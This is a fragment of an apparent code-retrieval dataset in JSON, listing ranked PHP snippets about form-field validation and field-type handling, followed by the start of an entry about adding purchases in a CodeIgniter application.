"255248d486aabfa8ddc638133949950b", "score": "0.5331953", "text": "public function fieldExtraFields();", "title": "" }, { "docid": "481534a186856e1a5ffa01c9434893d7", "score": "0.532644", "text": "function _initField()\n\t{\n\t\t// Lets load the field if it doesn't already exist\n\t\tif ( $this->_field===null )\n\t\t{\n\t\t\t$field = new stdClass();\n\t\t\t$field->id\t\t\t\t\t\t= 0;\n\t\t\t$field->field_type\t\t= null;\n\t\t\t$field->name\t\t\t\t\t= 'field' . ($this->_getLastId() + 1);\n\t\t\t$field->label\t\t\t\t\t= null;\n\t\t\t$field->description\t\t= '';\n\t\t\t$field->isfilter\t\t\t= 0;\n\t\t\t$field->isadvfilter = 0;\n\t\t\t$field->iscore\t\t\t\t= 0;\n\t\t\t$field->issearch\t\t\t= 1;\n\t\t\t$field->isadvsearch\t\t= 0;\n\t\t\t$field->untranslatable= 0;\n\t\t\t$field->formhidden\t\t= 0;\n\t\t\t$field->valueseditable= 0;\n\t\t\t$field->edithelp\t\t\t= 2;\n\t\t\t$field->positions\t\t\t= array();\n\t\t\t$field->published\t\t\t= 1;\n\t\t\t$field->attribs\t\t\t\t= null;\n\t\t\t$field->access\t\t\t\t= 0;\n\t\t\t$this->_field\t\t\t\t\t= $field;\n\t\t\treturn (boolean) $this->_field;\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "62022a5cd5fc67f0580e24aed1d85fb6", "score": "0.53176594", "text": "function verifies($data, $field) {\n\t\t$value = Set::extract($data, \"{s}\");\n\t\treturn ($value[0] == $this->data[$this->name][$field]);\n\t}", "title": "" }, { "docid": "b9424bbd7496816bfe63aa5a77952b4b", "score": "0.53125393", "text": "private function validateBookingFields($data) {\n $fields = array('country', 'city', 'first_name', 'last_name', 'address1', 'zip', 'phonenumber', 'email', 'phone_home', 'exp_month', 'exp_year');\n foreach ($fields as $field) {\n if ( !isset( $data[$field] ) || $data[$field] == '' ) {\n throw new Exception('Missing value for required field: '. $field, 9997);\n }\n }\n }", "title": "" }, { "docid": "ee192dec11812b43eabe775046f01489", "score": "0.5305556", "text": "public function hasField($field_name);", "title": "" }, { "docid": "0452449a97b55af6709c04510fa6a3a7", "score": "0.5303605", "text": "public function acceptsDataStructure($type) {\n\t\treturn $type == tx_tesseract::RECORDSET_STRUCTURE_TYPE;\n\t}", "title": "" }, { "docid": "4760ed6c51fc3cfbe08f06885cd55ff1", "score": "0.5302608", "text": "function itg_autosave_remove_empty($field_name_type) {\n if (empty($field_name_type['fieldName'])) {\n return FALSE;\n }\n return TRUE;\n}", "title": "" }, { "docid": "3200a716b2e5ebba487f803bcb2e9e3f", "score": "0.5299846", "text": "public function hasFields(): bool\n {\n return (!empty($this->fields));\n }", "title": "" }, { "docid": "2cd79a6d128cb6d32c598c1b19d1fc03", "score": "0.5297246", "text": "function isDataValid() \n { \n\t $isValid = parent::isDataValid();\n\t return $isValid;\n }", "title": "" }, { "docid": "aac5752ba18b74eb09e47ee6bebf25ee", "score": "0.5280744", "text": "private function isNumericType()\n\t{\n\t\treturn in_array($this->fieldModel->getFieldDataType(), [static::NUMERIC_TYPE]);\n\t}", "title": "" }, { "docid": "1a4a752fd62c487be6107bd21ec4cc94", "score": "0.528018", "text": "public function hasValueType(){\n return $this->_has(2);\n }", "title": "" }, { "docid": "34b01cb2aa42fd6c139fdd181b6b797d", "score": "0.5277264", "text": "private function isDateType()\n\t{\n\t\treturn in_array($this->fieldModel->getFieldDataType(), [static::DATE_TYPE]);\n\t}", "title": "" }, { "docid": "8deffecfca8e0dcb450136d45b2bc9da", "score": "0.527576", "text": "protected function checkDataParams()\n {\n }", "title": "" }, { "docid": "cacc3efc378169c55ed7347a3a611a97", "score": "0.5275562", "text": "function generateFieldCheck($returnType = 0, $dataType = NULL)\n{\n\tglobal $CONFIGVAR;\n\tglobal $vfystr;\n\n\tif (function_exists('fcData'))\n\t{\n\t\tif ($dataType !== NULL)\n\t\t\t$data = fcData($dataType);\n\t\telse\n\t\t\t$data = fcData();\n\t}\n\telse\n\t{\n\t\t$data = NULL;\n\t}\n\tswitch ($returnType)\n\t{\n\t\tcase FIELDCHK_JSON:\n\t\t\tif (!empty($data))\n\t\t\t\t$fieldcheck = json_encode($data);\n\t\t\telse\n\t\t\t\t$fieldcheck = '';\n\t\t\tbreak;\n\t\tcase FIELDCHK_ARRAY:\n\t\t\t$fieldcheck = $data;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\thandleError('Internal Programming Error: CODE XY039223<br>' .\n\t\t\t\t'Contact your administrator.');\n\t\t\tbreak;\n\t}\n\treturn $fieldcheck;\n}", "title": "" }, { "docid": "4106820708e0d560ec44d1d8288b92da", "score": "0.52753055", "text": "public function hasField( $name );", "title": "" }, { "docid": "e290c81a54adb5579c28a2d80401692d", "score": "0.5273611", "text": "private function _is_field_required( $field, $field_prop, $data ) {\n\t\t$is_required = isset( $field_prop['required'] ) ? $field_prop['required'] : false;\n\t\tif ( is_callable( $is_required ) ) {\n\t\t\t$is_required = call_user_func_array( $is_required, array( $data ) );\n\t\t}\n\n\t\tif ( $is_required && ! isset( $data[ $field ] ) ) {\n\t\t\tthrow new Exception( __( 'Missing value for field %s', 'woocommerce-box-office' ) );\n\t\t}\n\n\t\treturn $is_required;\n\t}", "title": "" }, { "docid": "fe98a3bd28cd4119f318d3c9ef0f4a57", "score": "0.52691954", "text": "abstract protected function getInternalStoryblokType () : FieldType;", "title": "" }, { "docid": "9aab6b2c95884dd29a9af6ece0949952", "score": "0.526616", "text": "public function hasFieldAccess($fieldName, $accessType, $user = null)\n {\n $credential = $this->getInvoker()->getFieldAccessCredentials($fieldName, $accessType);\n if ($credential === false)\n return false;\n \n $credentials = array($this->getInvoker()->getAccessCredentials($accessType), $credential); \n \n return $this->hasRequiredCredentials($user, $credentials, true);\n }", "title": "" }, { "docid": "9ee4144105969c9d919dc17d2c5d985a", "score": "0.52647585", "text": "protected function fixupFields()\n\t{\n\t\t$this->isFixed = true;\n\n\t\t// If they didn't give us any column fields, there is nothing to pivot!\n\t\tif(empty($this->columnFields))\n\t\t\treturn;\n\n\t\t// If they didn't give us any row fields, by default the first field is the row field\n\t\tif($this->rowFields === null)\n\t\t\t$this->rowFields = array($this->dataTable->getColumnDescription(0)->getId());\n\n\t\t// If they didn't give us any data fields, by default ALL fields that are neither\n\t\t// column fields nor row fields are data fields\n\t\tif($this->dataFields === null)\n\t\t{\n\t\t\t$dataFields = array();\n\t\t\t$allColumnIds = $this->getAllColumnIds($this->dataTable->getColumnDescriptions());\n\t\t\tforeach($allColumnIds as $fieldId)\n\t\t\t\tif(! in_array($fieldId, $this->columnFields) && ! in_array($fieldId, $this->rowFields))\n\t\t\t\t\t$dataFields[] = $fieldId;\n\t\t\t$this->dataFields = $dataFields;\n\t\t}\n\n\t\tif(count($this->dataFields) === 0)\n\t\t\tthrow new NoDataFieldsException();\n\n\t\t// Verify that the same field is not specified in multiple types\n\t\t$this->verifyNoDuplicateFields($this->columnFields, $this->rowFields, 'column', 'row');\n\t\t$this->verifyNoDuplicateFields($this->columnFields, $this->dataFields, 'column', 'data');\n\t\t$this->verifyNoDuplicateFields($this->rowFields, $this->dataFields, 'row', 'data');\n\n\t\t// Verify the minimum number of fields exist in this DataTable to perform this pivot\n\t\t$numColumns = $this->dataTable->getNumberOfColumns();\n\t\t$minimumNumColumns = count($this->columnFields) + count($this->rowFields) + count($this->dataFields);\n\t\tif($numColumns < $minimumNumColumns)\n\t\t\tthrow new Exception(\"Not enough columns in this DataTable to pivot (you have \".$numColumns.\n\t\t\t\t\", minimum is \".$minimumNumColumns.\")\");\n\t}", "title": "" }, { "docid": "1028aa438fa164626483bd37d5707e20", "score": "0.5259104", "text": "public function checkFieldMappingFields()\n\t{\n\t\tif (isset($this->fieldMapping['mapping'][$this->destinyModuleModel->getId()])) {\n\t\t\tforeach ($this->fieldMapping['mapping'][$this->destinyModuleModel->getId()] as $destinyField => $sourceField) {\n\t\t\t\tif (!$this->destinyModuleModel->getField($destinyField)) {\n\t\t\t\t\tunset($this->fieldMapping['mapping'][$this->destinyModuleModel->getId()][$destinyField]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b533baba81dd9d58ac4e68a82317407f", "score": "0.52556986", "text": "function validate_meta(){\n\t\t//check required fields\n\t\tforeach ( $this->required_fields as $field => $description) {\n\t\t\tif( $field == 'location_country' && !array_key_exists($this->location_country, em_get_countries()) ){ \n\t\t\t\t//country specific checking\n\t\t\t\t$this->add_error( $this->required_fields['location_country'].__(\" is required.\", 'events-manager') );\t\t\t\t\n\t\t\t}elseif ( $this->$field == \"\" ) {\n\t\t\t\t$this->add_error( $description.__(\" is required.\", 'events-manager') );\n\t\t\t}\n\t\t}\n\t\treturn apply_filters('em_location_validate_meta', ( count($this->errors) == 0 ), $this);\n\t}", "title": "" }, { "docid": "78197e87052e3eb2e2b8a4fa06317fae", "score": "0.5245061", "text": "public function canResolveField($field)\n {\n return false !== strpos($field, '.');\n }", "title": "" }, { "docid": "3b79a9b8b6a23b4dfca8c005091529fd", "score": "0.5244802", "text": "public function getExtendedFieldTypes();", "title": "" }, { "docid": "9db9603d754a6e12c66d1ed022d1a9f1", "score": "0.5243272", "text": "public function isFileField()\n {\n return true;\n }", "title": "" }, { "docid": "2e028ea57545fef98241f29a757b1d2f", "score": "0.52414304", "text": "public function isValidItem($item) {\n\t\treturn is_object($item) && $item instanceof Field; \n\t}", "title": "" }, { "docid": "8ab1d63875242b9ece50f59069bea582", "score": "0.522723", "text": "public function hasBlobDataType()\n {\n return true;\n }", "title": "" }, { "docid": "b351b5a615b1cbbe5656bfd1d38bb6f6", "score": "0.5224505", "text": "public function __isset($fieldName){}", "title": "" }, { "docid": "0bd9913ceafb7869674500e39c678c3c", "score": "0.5222759", "text": "abstract public function fields();", "title": "" }, { "docid": "9a1d44b89e2e861683bc071fa6d38c60", "score": "0.5216633", "text": "public function prepForFieldType(&$data, $handle) \n {\n \n // Get field info\n $field = craft()->fields->getFieldByHandle($handle);\n \n // If it's a field ofcourse\n if(!is_null($field)) {\n \n // For some fieldtypes the're special rules\n switch($field->type) {\n \n case ImportModel::FieldTypeEntries:\n \n // Fresh up $data\n $data = str_replace(\"\\n\", \"\", $data);\n $data = str_replace(\"\\r\", \"\", $data);\n $data = trim($data);\n \n // Don't connect empty fields\n if(!empty($data)) {\n \n // Get field settings\n $settings = $field->getFieldType()->getSettings();\n \n // Get source id's for connecting\n $sectionIds = array();\n $sources = $settings->sources;\n if(is_array($sources)) {\n foreach($sources as $source) {\n list($type, $id) = explode(':', $source);\n $sectionIds[] = $id;\n }\n }\n \n // Find matching element in sections \n $criteria = craft()->elements->getCriteria(ElementType::Entry);\n $criteria->sectionId = $sectionIds;\n $criteria->limit = $settings->limit;\n \n // Get search strings\n $search = ArrayHelper::stringToArray($data);\n \n // Ability to import multiple Assets at once\n $data = array();\n \n // Loop through keywords\n foreach($search as $query) {\n \n // Search\n $criteria->search = $query;\n \n // Add to data\n $data = array_merge($data, $criteria->ids());\n \n }\n \n } else {\n \n // Return empty array\n $data = array();\n \n }\n \n break;\n \n case ImportModel::FieldTypeCategories:\n \n // Fresh up $data\n $data = trim($data);\n \n // Don't connect empty fields\n if(!empty($data)) {\n \n // Get field settings\n $settings = $field->getFieldType()->getSettings();\n \n // Get source id\n $source = $settings->source;\n list($type, $id) = explode(':', $source);\n \n // Get category data\n $category = new CategoryModel();\n $category->groupId = $id; \n \n // This we append before the slugified path\n $categoryUrl = str_replace('{slug}', '', $category->getUrlFormat());\n \n // Find matching element by URI (dirty, not all categories have URI's) \n $criteria = craft()->elements->getCriteria(ElementType::Category);\n $criteria->groupId = $id;\n $criteria->uri = $categoryUrl . $this->slugify($data);\n $criteria->limit = $settings->limit;\n \n // Return the found id's for connecting\n $data = $criteria->ids();\n \n } else {\n \n // Return empty array\n $data = array();\n \n }\n \n break;\n \n case ImportModel::FieldTypeAssets:\n \n // Fresh up $data\n $data = trim($data);\n \n // Don't connect empty fields\n if(!empty($data)) {\n \n // Get field settings\n $settings = $field->getFieldType()->getSettings();\n \n // Get source id's for connecting\n $sourceIds = array();\n $sources = $settings->sources;\n if(is_array($sources)) {\n foreach($sources as $source) {\n list($type, $id) = explode(':', $source);\n $sourceIds[] = $id;\n }\n }\n \n // Find matching element in sources \n $criteria = craft()->elements->getCriteria(ElementType::Asset);\n $criteria->sourceId = $sourceIds;\n $criteria->limit = $settings->limit;\n \n // Get search strings\n $search = ArrayHelper::stringToArray($data);\n \n // Ability to import multiple Assets at once\n $data = array();\n \n // Loop through keywords\n foreach($search as $query) {\n \n // Search\n $criteria->search = $query;\n \n // Add to data\n $data = array_merge($data, $criteria->ids());\n \n }\n \n } else {\n \n // Return empty array\n $data = array();\n \n }\n \n break;\n \n case ImportModel::FieldTypeUsers:\n \n // Fresh up $data\n $data = trim($data);\n \n // Don't connect empty fields\n if(!empty($data)) {\n \n // Get field settings\n $settings = $field->getFieldType()->getSettings();\n \n // Get group id's for connecting\n $groupIds = array();\n $sources = $settings->sources;\n if(is_array($sources)) {\n foreach($sources as $source) {\n list($type, $id) = explode(':', $source);\n $groupIds[] = $id;\n }\n }\n \n // Find matching element in sources \n $criteria = craft()->elements->getCriteria(ElementType::Asset);\n $criteria->groupId = $groupIds;\n $criteria->limit = $settings->limit;\n \n // Get search strings\n $search = ArrayHelper::stringToArray($data);\n \n // Ability to import multiple Assets at once\n $data = array();\n \n // Loop through keywords\n foreach($search as $query) {\n \n // Search\n $criteria->search = $query;\n \n // Add to data\n $data = array_merge($data, $criteria->ids());\n \n }\n \n } else {\n \n // Return empty array\n $data = array();\n \n }\n \n break;\n \n case ImportModel::FieldTypeNumber:\n \n // Fresh up $data\n $data = trim($data);\n \n // Parse as number\n $data = LocalizationHelper::normalizeNumber($data);\n \n // Parse as float\n $data = floatval($data);\n \n break;\n \n case ImportModel::FieldTypeDate:\n \n // Fresh up data\n $data = trim($data);\n \n // Parse date from string\n $data = DateTimeHelper::formatTimeForDb(DateTimeHelper::fromString($data, craft()->timezone));\n \n break;\n \n case ImportModel::FieldTypeRadioButtons:\n case ImportModel::FieldTypeDropdown:\n\n //get field settings\n $settings = $field->getFieldType()->getSettings();\n\n //get field options\n $options = $settings->getAttribute('options');\n\n // find matching option label\n $labelSelected = false;\n foreach($options as $option){\n\n if($labelSelected){\n continue;\n }\n\n if($data == $option['label']){\n $data = $option['value'];\n //stop looking after first match\n $labelSelected = true;\n }\n\n }\n\n break;\n\n case ImportModel::FieldTypeCheckboxes:\n case ImportModel::FieldTypeMultiSelect:\n \n // Fresh up data\n $data = trim($data);\n \n $data = ArrayHelper::stringToArray($data);\n \n break;\n \n }\n \n }\n \n return $data;\n \n }", "title": "" }, { "docid": "5939ea5b6c063b95f2d87cf0213a0bfe", "score": "0.521124", "text": "abstract protected function fields();", "title": "" }, { "docid": "5939ea5b6c063b95f2d87cf0213a0bfe", "score": "0.521124", "text": "abstract protected function fields();", "title": "" }, { "docid": "ca06f81b145edceacec885dfce5f145e", "score": "0.52108127", "text": "private function checkData($data) {\n if (is_numeric($data->eventEntryID)) {\n if (is_numeric($data->quantity)) {\n if (strlen($data->name) > 0) {\n return true; \n }\n }\n }\n return false;\n }", "title": "" }, { "docid": "67a83cb270089b653b16027ec01cde60", "score": "0.52093554", "text": "protected function isCreditCheckDeclined()\n {\n return new oxField(0, oxField::T_RAW);\n }", "title": "" }, { "docid": "236018b1a28254f14ef2d2f4c399c61c", "score": "0.52092487", "text": "public function validateFields()\n {\n return [\n 'type' => $this->type,\n ];\n }", "title": "" }, { "docid": "b1832b45b7f91d19d16e32de49dada2e", "score": "0.52062964", "text": "public static function valid_field($fieldname)\n\t{\n\t\t// TRUE SI NO ESTA VACIO, ES UN STRING Y MATCHEA CON ALGUNA DE LAS COLUMNAS EN BD\n\t\treturn !empty($fieldname) && is_string($fieldname) && preg_match('/^(id_tratamiento|fecha_hora|datos_json|e(tapa|liminado))$/', $fieldname);\n\t}", "title": "" }, { "docid": "baf2ba7a5079d47468d91198592c5df4", "score": "0.52047485", "text": "public function isEmbeddedAssociation($field);", "title": "" }, { "docid": "f1316663b8dd465013d2e5724665bfd8", "score": "0.5204011", "text": "function cek_field($var)\n{\n\tforeach ($var as $field)\n\t\t{\n\t\t\tif ($field == '' || !isset($field))\n\t\t\t\treturn false;\n\t\t}\n\treturn true;\n}", "title": "" }, { "docid": "f4022e4424db8922bfff3a2272661b05", "score": "0.5201006", "text": "abstract function fields();", "title": "" }, { "docid": "c0880424297c5ad7dbe42981458adab2", "score": "0.5195609", "text": "protected function known_field_types() {\r\n $types = parent::known_field_types();\r\n $types[] = new question_bank_add_to_ipal_action_column($this);\r\n $types[] = new ipal_question_bank_question_name_text_column($this);\r\n return $types;\r\n }", "title": "" }, { "docid": "9ba67616fe7a50f1267360a03794efc3", "score": "0.5187798", "text": "private static function available_fields() {\n\n return apply_filters('cmb_field_types', array(\n 'text' => 'CMB_Text_Field',\n 'text_small' => 'CMB_Text_Small_Field',\n 'text_url' => 'CMB_URL_Field',\n 'url' => 'CMB_URL_Field',\n 'radio' => 'CMB_Radio_Field',\n 'checkbox' => 'CMB_Checkbox',\n 'file' => 'CMB_File_Field',\n 'image' => 'CMB_Image_Field',\n 'wysiwyg' => 'CMB_wysiwyg',\n 'textarea' => 'CMB_Textarea_Field',\n 'textarea_code' => 'CMB_Textarea_Field_Code',\n 'select' => 'CMB_Select',\n 'taxonomy_select' => 'CMB_Taxonomy',\n 'post_select' => 'CMB_Post_Select',\n 'date' => 'CMB_Date_Field',\n 'date_unix' => 'CMB_Date_Timestamp_Field',\n 'datetime_unix' => 'CMB_Datetime_Timestamp_Field',\n 'time' => 'CMB_Time_Field',\n 'colorpicker' => 'CMB_Color_Picker',\n 'title' => 'CMB_Title',\n 'group' => 'CMB_Group_Field',\n 'gmap' => 'CMB_Gmap_Field',\n 'number' => 'CMB_Number_Field'\n ));\n }", "title": "" }, { "docid": "5a4d0c6eda454026e82aa804fdc73611", "score": "0.5183644", "text": "private function treatInputFields($data)\n {\n foreach ($data as $field) {\n if (isset($field['type']) && $field['relation']) {\n $this->relations[] = Relationship::parseRelation($field['relation']);\n } else {\n $this->fields[] = Field::parseFieldFromFile($field);\n if (isset($field['relation'])) {\n $this->relations[] = Relationship::parseRelation($field['relation']);\n }\n }\n }\n }", "title": "" }, { "docid": "f759530ca46e2150f8f57483f02a8679", "score": "0.5183311", "text": "function required_field($field, $fields, $type = NULL) {\n\t//Check for complementary _specify field (religion_specify, gender_specify, etc) and instead confirm\n\t//if parent field is required (such as gender field) instead.\n\tif (preg_match(\"~\\_specify$~\",$field)) {\n\t\treturn required_field(str_replace(\"_specify\",\"\",$field), $fields, $type);\n\t}\n\tif (!isset($fields[$field]['required'])) {\n\t\treturn NULL;\n\t}\n\t// if not set to shown, can't be required\n\tif (!show_field($field, $fields)) {\n\t\treturn NULL;\n\t}\n\tif ($fields[$field]['required'] == 1) {\n\t\tswitch ($type) {\n\t\t\tcase 'validation':\n\t\t\t\treturn '|required';\n\t\t\t\tbreak;\n\t\t\tcase 'label':\n\t\t\t\treturn ' <em>*</em>';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn TRUE;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\treturn NULL;\n}", "title": "" }, { "docid": "1bff084d154acb9ad7e457dcb287968f", "score": "0.51761395", "text": "function is_required($field_name){\r\n\tif (!isset($field_name) || $field_name == \"\")\r\n\t\treturn false;\r\n\telse return true;\r\n\t\r\n}", "title": "" }, { "docid": "614a7b3556b6d6442fb5f1f284bcb970", "score": "0.5175256", "text": "function meta_data_get_fields($content_type, $content_id, $allow_no_owner = false, $fields_to_skip = null, $show_header = 1)\n{\n require_lang('meta_data');\n\n $fields = new Tempcode();\n\n if (has_privilege(get_member(), 'edit_meta_fields')) {\n if (is_null($fields_to_skip)) {\n $fields_to_skip = array();\n }\n\n require_code('content');\n $ob = get_content_object($content_type);\n $info = $ob->info();\n\n require_code('content');\n $content_row = mixed();\n if (!is_null($content_id)) {\n list(, , , $content_row) = content_get_details($content_type, $content_id);\n }\n\n $views_field = in_array('views', $fields_to_skip) ? null : $info['views_field'];\n if (!is_null($views_field)) {\n $views = is_null($content_row) ? 0 : $content_row[$views_field];\n $fields->attach(form_input_integer(do_lang_tempcode('_VIEWS'), do_lang_tempcode('DESCRIPTION_META_VIEWS'), 'meta_views', null, false));\n }\n\n $submitter_field = in_array('submitter', $fields_to_skip) ? null : $info['submitter_field'];\n if (!is_null($submitter_field)) {\n $submitter = is_null($content_row) ? get_member() : $content_row[$submitter_field];\n $username = $GLOBALS['FORUM_DRIVER']->get_username($submitter);\n if (is_null($username)) {\n $username = $GLOBALS['FORUM_DRIVER']->get_username(get_member());\n }\n $fields->attach(form_input_username(do_lang_tempcode('OWNER'), do_lang_tempcode('DESCRIPTION_OWNER'), 'meta_submitter', $username, !$allow_no_owner));\n }\n\n $add_time_field = in_array('add_time', $fields_to_skip) ? null : $info['add_time_field'];\n if (!is_null($add_time_field)) {\n $add_time = is_null($content_row) ? time() : $content_row[$add_time_field];\n $fields->attach(form_input_date(do_lang_tempcode('ADD_TIME'), do_lang_tempcode('DESCRIPTION_META_ADD_TIME'), 'meta_add_time', true, false, true, $add_time, 40, intval(date('Y')) - 20, null));\n }\n\n if (!is_null($content_id)) {\n $edit_time_field = in_array('edit_time', $fields_to_skip) ? null : $info['edit_time_field'];\n if (!is_null($edit_time_field)) {\n $edit_time = is_null($content_row) ? null : (is_null($content_row[$edit_time_field]) ? time() : max(time(), $content_row[$edit_time_field]));\n $fields->attach(form_input_date(do_lang_tempcode('EDIT_TIME'), do_lang_tempcode('DESCRIPTION_META_EDIT_TIME'), 'meta_edit_time', false, is_null($edit_time), true, $edit_time, 10, null, null));\n }\n }\n\n if (($info['support_url_monikers']) && (!in_array('url_moniker', $fields_to_skip))) {\n $url_moniker = mixed();\n if (!is_null($content_id)) {\n if ($content_type == 'comcode_page') {\n list($zone, $_content_id) = explode(':', $content_id);\n $attributes = array();\n $url_moniker = find_id_moniker(array('page' => $_content_id) + $attributes, $zone);\n } else {\n $_content_id = $content_id;\n list($zone, $attributes,) = page_link_decode($info['view_page_link_pattern']);\n $url_moniker = find_id_moniker(array('id' => $_content_id) + $attributes, $zone);\n }\n\n if (is_null($url_moniker)) {\n $url_moniker = '';\n }\n\n $moniker_where = array(\n 'm_manually_chosen' => 1,\n 'm_resource_page' => ($content_type == 'comcode_page') ? $_content_id : $attributes['page'],\n 'm_resource_type' => ($content_type == 'comcode_page') ? '' : (isset($attributes['type']) ? $attributes['type'] : ''),\n 'm_resource_id' => ($content_type == 'comcode_page') ? '' : $_content_id\n );\n $manually_chosen = !is_null($GLOBALS['SITE_DB']->query_select_value_if_there('url_id_monikers', 'm_moniker', $moniker_where));\n } else {\n $url_moniker = '';\n $manually_chosen = false;\n }\n $fields->attach(form_input_codename(do_lang_tempcode('URL_MONIKER'), do_lang_tempcode('DESCRIPTION_META_URL_MONIKER', escape_html($url_moniker)), 'meta_url_moniker', $manually_chosen ? $url_moniker : '', false, null, null, array('/')));\n }\n } else {\n if ($show_header != META_DATA_HEADER_FORCE) {\n return new Tempcode();\n }\n }\n\n if ((!$fields->is_empty()) && ($show_header != META_DATA_HEADER_NO)) {\n $_fields = new Tempcode();\n $_fields->attach(do_template('FORM_SCREEN_FIELD_SPACER', array('_GUID' => 'adf2a2cda231619243763ddbd0cc9d4e', 'SECTION_HIDDEN' => true,\n 'TITLE' => do_lang_tempcode('META_DATA'),\n 'HELP' => do_lang_tempcode('DESCRIPTION_META_DATA', is_null($content_id) ? do_lang_tempcode('RESOURCE_NEW') : $content_id),\n )));\n $_fields->attach($fields);\n return $_fields;\n }\n\n return $fields;\n}", "title": "" }, { "docid": "2ea7d25ba496e0264f58f1bc2f327cd5", "score": "0.516447", "text": "function validate_custom_fields()\n{\n\tforeach (get_custom_field_defs() as $k => $r) {\n\t\t// Call CUSTOM_FIELD_VALIDATE plugins.\n\t\tif (defined('plugins')) {\n\t\t\t$err = null;\n\t\t\tlist($err) = plugin_call_hook('CUSTOM_FIELD_VALIDATE', array($err, $r->id, $r->name, $_POST['custom_field_'. $r->id]));\n\t\t\tif ($err) {\n\t\t\t\tset_err('custom_field_'. $r->id, $err);\n\t\t\t}\n\t\t}\n\n\t\t/* Check if all required custom fields have values. */\n\t\tif (($r->field_opt & 1) && empty($_POST['custom_field_'. $r->id])) {\t// 1==required.\n\t\t\t\tset_err('custom_field_'. $r->id, 'Это поле является обязательным.');\n\t\t}\n\t}\n}", "title": "" } ]
46dd3800ade642ad3d46a5da157a325c
/ call add purchase view to add purchase
[ { "docid": "397b378e5296dab1d79b756743a4251d", "score": "0.6610628", "text": "public function add(){\r\n\t\t$data['company'] = $this->purchase_model->getCompany();\r\n\t\t$data['product'] = $this->purchase_model->getProduct();\r\n\t\t// $this->purchase_model->checkPurchaserForPrimaryWarehouse();\r\n\t\tif($this->purchase_model->checkPurchaserForPrimaryWarehouse()){\r\n\t\t\t$data['warehouse'] = $this->purchase_model->getPurchaserWarehouse();\r\n\t\t}else{\r\n\t\t\t$this->session->set_flashdata('no_purchaser', 'Kindly create purchaser for primary warhouse');\r\n\t\t\tredirect('purchase','refresh');\r\n\t\t}\r\n\r\n\t\tif($this->purchase_model->getPurchaserWarehouse() != null){\r\n\t\t\t$data['warehouse'] = $this->purchase_model->getPurchaserWarehouse();\r\n\t\t}else{\r\n\t\t\t$this->session->set_flashdata('no_purchaser', 'Purchaser is not created yet. Kindly create the Purchaser');\r\n\t\t\tredirect('purchase','refresh');\r\n\t\t}\r\n\t\t$data['warehouse'] = $this->purchase_model->getPurchaserWarehouse();\r\n\t\t$data['biller'] = $this->sales_model->getBiller();\r\n\t\t$data['supplier'] = $this->purchase_model->getSupplier();\r\n\t\t$data['discount'] = $this->purchase_model->getDiscount();\r\n\t\t$data['reference_no'] = $this->purchase_model->createReferenceNo();\r\n\t\t$data['user'] = $this->assign_warehouse_model->getUser();\r\n\t\t$data['no_of_purchaser'] = $this->purchase_model->getPurchaserCount();\r\n\t\t$data['no_of_purchaser_assignment'] = $this->purchase_model->getPurchaserAssignmentCount();\r\n\r\n\r\n\t\t// echo '<pre>';\r\n\t\t// print_r($data);\r\n\t\t// exit;\r\n\t\t$this->load->view('purchase/add',$data);\r\n\r\n\t}", "title": "" } ]
[ { "docid": "aac5172e3527a4c6da0120436b235c85", "score": "0.8020312", "text": "public function addpurchase() { \n $data['page'] = 'Purchase Order';\n\t\t$data['page_title'] = 'Purchase Order Entry';\n $data['page_module'] = 'inventory';\t\t\n $this->load->view('inventory/purchase/purchaseorder/addpurchaseorder', $data); \n\t}", "title": "" }, { "docid": "93e697714a3f1f5042914f15df670b63", "score": "0.7008651", "text": "function adding_purchase()\t{ return $this->modify_purchases('y', array('0')); \t}", "title": "" }, { "docid": "1729f6c920445236970198d9c52cd7dd", "score": "0.6729483", "text": "public function purchase(){\n \n\t\t$this->load->view('template/header');\n\t\t$this->load->view('Report/purchase');\n\t\t$this->load->view('template/footer');\n }", "title": "" }, { "docid": "7e5c96bf8bee1740529298cec7816b1e", "score": "0.6704544", "text": "function add_purchase($message = '')\n\t{\n\t\treturn $this->_purchases_form(array(0));\n\t}", "title": "" }, { "docid": "15fbbf7f34f809f82045927ffca52e25", "score": "0.6682096", "text": "public function purchase()\n {\n $request_array = $this->_build_purchase();\n $this->post_redirect($this->_process_url(), $request_array);\n }", "title": "" }, { "docid": "9cda734b74aa437d901b1330428069a9", "score": "0.6612813", "text": "public function create()\n {\n $scope = $this->scope;\n $user = $this->user;\n $bill_id = PurchaseDetail::select('bill_id')->orderBy('bill_id', 'desc')->first();\n $items = TmpPurchase::select('item.item_name as item_name', 'tmp_purchase.id', 'tmp_purchase.bill_id', 'tmp_purchase.name', 'tmp_purchase.address', 'tmp_purchase.phone', 'tmp_purchase.item_code', 'tmp_purchase.qty', 'tmp_purchase.rate', 'tmp_purchase.remark')\n ->leftJoin('item', 'item.item_code', '=', 'tmp_purchase.item_code')\n ->orderBy('tmp_purchase.id', 'asc')\n ->get();\n\n if ($bill_id) {\n $bill_id = ++$bill_id->bill_id;\n } else {\n $bill_id = 1;\n }\n return view('admin.' . $this->scope . '.add', compact('scope', 'user', 'bill_id', 'items'));\n }", "title": "" }, { "docid": "caa74902b3efedf41befa64f80850139", "score": "0.65315837", "text": "public function create()\n {\n $title = 'create purchase';\n return view('admin.purchases.create',compact(\n 'title',\n ));\n }", "title": "" }, { "docid": "0f3eb806bbd1400cc142e664b97ca469", "score": "0.6507949", "text": "public function create()\n {\n $branches = Branch::fetchBranches();\n $items = Inventory::fetchInventories();\n $vendors = Vendor::fetchVendors();\n $random = rand(99, 9999999);\n return view('pages.purchase.createPurchase',array(\n 'branches' => $branches,\n 'items' => $items,\n 'vendors' => $vendors,\n 'random' => $random,\n ));\n }", "title": "" }, { "docid": "107020687fc583d84125128261946871", "score": "0.6477392", "text": "public function buy(){\n\n if($this->aut){\n $sku = $_POST[\"sku\"];\n $quantity = $_POST[\"quantity\"];\n\n $model = $this->model('Products');\n $data = $model->getItem(array($sku));\n\n $data[\"quantity\"] = $quantity;\n \n $this->view('product/buy', $data);\n }else{\n $this->view('user/nouser');\n }\n\n }", "title": "" }, { "docid": "6d3934135f8332cf0619438e205192be", "score": "0.6449703", "text": "public function addProduct()\n\t{\n\t\t$this->load->view('add_product_view');\n\t}", "title": "" }, { "docid": "05511ad10dc72cbf29a27ce0c05633b7", "score": "0.64424163", "text": "public function addVoucher()\n {\n if (!$this->getViewConfig()->getShowVouchers()) {\n return;\n }\n\n $oBasket = 